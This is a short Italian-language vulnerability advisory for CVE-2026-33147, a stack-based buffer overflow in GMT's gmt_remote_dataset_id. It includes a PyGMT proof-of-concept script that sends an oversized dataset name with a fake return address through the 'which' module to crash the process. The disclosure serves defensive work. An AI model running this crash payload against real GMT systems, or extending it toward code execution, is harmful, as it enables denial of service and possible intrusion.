
Proof-of-concept exploit per un buffer overflow basato su stack in `gmt_remote_dataset_id` di GMT, che dimostra il crash e la potenziale esecuzione di codice tramite nomi di dataset appositamente modificati.
CVE-2026-33147 (Stack-based Buffer Overflow in gmt_remote_dataset_id)
È stata identificata una vulnerabilità di buffer overflow basato su stack nella funzione gmt_remote_dataset_id all'interno di src/gmt_remote.c. Il problema si verifica quando una stringa lunga appositamente predisposta viene passata come identificatore di dataset (ad esempio, tramite il modulo which), causando un crash o una potenziale esecuzione arbitraria di codice.
La vulnerabilità è causata dall'uso non sicuro di strcpy (o operazioni simili su stringhe senza limiti) durante la copia di un nome di dataset controllato dall'utente in un buffer di stack a dimensione fissa file[PATH_MAX].
Quando un input supera PATH_MAX (tipicamente 4096 byte), sovrascrive il frame di stack, incluso l'indirizzo di ritorno. Ciò è stato confermato utilizzando AddressSanitizer (ASan), che ha segnalato uno stack-buffer-overflow.
Il seguente script Python che utilizza PyGMT riproduce il crash:
import struct
from pygmt.clib import Session
with Session() as lib:
# Payload progettato per causare l'overflow del buffer di stack
padding = "A" * 4096
fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
payload = padding + fake_ret.decode("latin-1")
# Attiva l'overflow tramite il modulo 'which'
lib.call_module("which", [payload])
Questa è una vulnerabilità di sicurezza della memoria.